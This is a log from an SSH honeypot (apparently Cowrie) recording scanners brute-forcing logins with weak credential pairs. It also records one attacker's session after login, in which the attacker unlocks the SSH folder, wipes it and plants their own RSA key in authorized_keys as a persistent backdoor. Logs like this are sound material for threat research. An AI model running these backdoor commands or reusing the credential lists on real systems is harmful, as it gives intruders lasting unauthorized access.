{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:02.101072Z","src_ip":"103.193.178.240","session":"3d7ceb6c4306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51648,"dst_ip":"10.17.0.5","dst_port":22,"session":"285133befbfd","protocol":"ssh","message":"New connection: 2.57.122.208:51648 (10.17.0.5:22) [session: 285133befbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:22.413400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:22.418242Z","src_ip":"2.57.122.208","session":"285133befbfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:22.541842Z","src_ip":"2.57.122.208","session":"285133befbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:22.945020Z","src_ip":"2.57.122.208","session":"285133befbfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:24.112198Z","src_ip":"2.57.122.208","session":"285133befbfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":50500,"dst_ip":"10.17.0.5","dst_port":22,"session":"d481070e4d6a","protocol":"ssh","message":"New connection: 92.118.39.76:50500 (10.17.0.5:22) [session: d481070e4d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:28.308065Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:36:28.410644Z","src_ip":"92.118.39.76","session":"d481070e4d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":59318,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f1e0f1dfc6","protocol":"ssh","message":"New connection: 103.134.154.36:59318 (10.17.0.5:22) [session: 64f1e0f1dfc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:31.084408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:31.088313Z","src_ip":"103.134.154.36","session":"64f1e0f1dfc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:31.327241Z","src_ip":"103.134.154.36","session":"64f1e0f1dfc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mario","password":"mario","message":"login attempt [mario/mario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:32.317997Z","src_ip":"103.134.154.36","session":"64f1e0f1dfc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:33.560685Z","src_ip":"103.134.154.36","session":"64f1e0f1dfc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":33354,"dst_ip":"159.203.135.109","dst_port":22,"session":"9202915f1c79","protocol":"ssh","message":"New connection: 159.223.57.48:33354 (159.203.135.109:22) [session: 9202915f1c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:45.536996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:45.541419Z","src_ip":"159.223.57.48","session":"9202915f1c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:45.785942Z","src_ip":"159.223.57.48","session":"9202915f1c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:46.801347Z","src_ip":"159.223.57.48","session":"9202915f1c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:48.051011Z","src_ip":"159.223.57.48","session":"9202915f1c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":42476,"dst_ip":"159.203.135.109","dst_port":22,"session":"7acf85d1348d","protocol":"ssh","message":"New connection: 2.57.122.96:42476 (159.203.135.109:22) [session: 7acf85d1348d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:54.538486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:54.542121Z","src_ip":"2.57.122.96","session":"7acf85d1348d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:54.640435Z","src_ip":"2.57.122.96","session":"7acf85d1348d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":59096,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ab44c212ba9","protocol":"ssh","message":"New connection: 163.7.6.74:59096 (10.17.0.5:22) [session: 1ab44c212ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:54.854443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:54.858653Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:54.938210Z","src_ip":"2.57.122.96","session":"7acf85d1348d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:55.114484Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:56.040594Z","src_ip":"2.57.122.96","session":"7acf85d1348d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"woaini1314.","message":"login attempt [root/woaini1314.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:56.166665Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:56.703866Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:56.706972Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:56.709607Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:56.966693Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:57.569247Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:57.572903Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:57.835170Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:57.839423Z","src_ip":"163.7.6.74","session":"1ab44c212ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":59110,"dst_ip":"10.17.0.5","dst_port":22,"session":"47f64bf83619","protocol":"ssh","message":"New connection: 163.7.6.74:59110 (10.17.0.5:22) [session: 47f64bf83619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:58.086838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:58.091262Z","src_ip":"163.7.6.74","session":"47f64bf83619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:58.347112Z","src_ip":"163.7.6.74","session":"47f64bf83619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:37:59.401199Z","src_ip":"163.7.6.74","session":"47f64bf83619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:00.660789Z","src_ip":"163.7.6.74","session":"47f64bf83619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":59114,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e3ef087edb","protocol":"ssh","message":"New connection: 163.7.6.74:59114 (10.17.0.5:22) [session: e2e3ef087edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:00.900308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:00.904729Z","src_ip":"163.7.6.74","session":"e2e3ef087edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:01.152740Z","src_ip":"163.7.6.74","session":"e2e3ef087edb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:02.184590Z","src_ip":"163.7.6.74","session":"e2e3ef087edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:38:02.438687Z","src_ip":"163.7.6.74","session":"e2e3ef087edb","protocol":"ssh"}
